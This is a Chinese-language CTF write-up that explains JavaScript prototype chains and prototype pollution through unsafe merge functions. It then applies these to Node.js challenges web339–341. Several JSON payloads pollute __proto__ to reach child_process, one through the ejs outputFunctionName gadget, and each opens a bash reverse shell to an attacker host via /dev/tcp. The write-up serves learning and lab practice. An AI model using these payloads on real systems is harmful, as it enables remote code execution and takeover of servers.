[nodejs从原型链污染到RCE]
JS中的原型和原型链
原型
| function Foo(name,age){ | 
Foo函数的内容,就是Foo类的构造函数,this.name,this.age就是Foo类的一个属性。
一个类中必然有一个方法,类似属性,我们可以将方法定义在构造函数内部:
| function Foo(name,age){ | 
但是这样写的话,我们每次构造一个Foo对象时都会执行依次this.show=function(),这个show方法实际上是绑定在对象上而不是绑定在类中。
我们希望创建类Foo只创建依次show方法,这时候我们就需要使用原型prototype了
| function Foo(name,age){ | 
我们认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上述代码中的foo对象,其天生就具有foo.show()方法。
我们可以通过Foo.prototype来访问Foo类的原型,但是Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就需要__proto__.
一个Foo类实例化出来的foo对象,可以通过foo.__proto__来访问Foo类原型,也就是说。
| foo.__proto__ == Foo.prototype | 
原型链
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JS中的继承机制。
| var util = require('util'); | 
| $ node class.js | 
因为对象的__proto__属性指向构造函数的prototype属性,并且当访问对象不存在的属性时,会从它的构造函数的prototype去寻找
首先,objSub.__proto__ == Sub.prototype,如果我们尝试访问objSub.objFunc(),由于Sub类不存在该方法,于是从Sub.prototype寻找,Sub.prototype也没有该方法。由于util.inherits(Sub,Base),Sub继承了Base,于是从Base.prototype寻找,也没有。最后找到了Object.prototype有该方法。该过程就形成了一条JS原型链。
原型链污染
通过前面的初步了解,我们已经知道foo.__proto__ => Foo.prototype,那么,如果我们修改了foo.__proto__中的值,是不是就能修改Foo类呢
| // foo是一个简单的JavaScript对象 | 
我们通过修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2
而我们后面又用Object类创建了一个zoo对象{},虽然创建时为空,但是因为对象有类Object中的所有属性和方法,所以自然有bar = 2这个属性了.
| function Foo(){ | 
| $ node test.js | 
可以Foo类中本来没有bar这个属性,而我们通过修改foo.__proto__即Foo得原型来使Foo类多了一个bar属性,值为2
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么可以影响所有和这个对象来自同一个类、父祖类,这个攻击方式就是原型链污染
原型链污染触发示例
常见与merge,clone,copy,数组赋值等通过数组键名来赋值的情况。
| function merge(target, source) { | 
在合并的过程中,存在target[key] = source[key]进行键值赋值的情况,这里的key如果是__proto__,那么就可能存在原型链污染的情况,用如下代码测试
| let o1 = {}; | 
| $ node test.js | 
nodejs命令执行
| global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"') | 
题目分析
web 339
| // login.js | 
| //api.js | 
在api.js中发现危险函数。
表达式 Function(query)(query) 的作用是将字符串 query 解析为一个函数,并将其执行。换句话说,它将字符串 query 当作函数体来解析,并立即执行。这样的写法常用于动态执行字符串形式的 JavaScript 代码。
那么,我们考虑污染query,实现RCE。
payload:
| {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}} | 
在登陆处抓包,修改后发送payload,然后访问/api路由触发payload实现RCE。
web 340
同上
web 341
ejs RCE
payload:
| {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}} | 
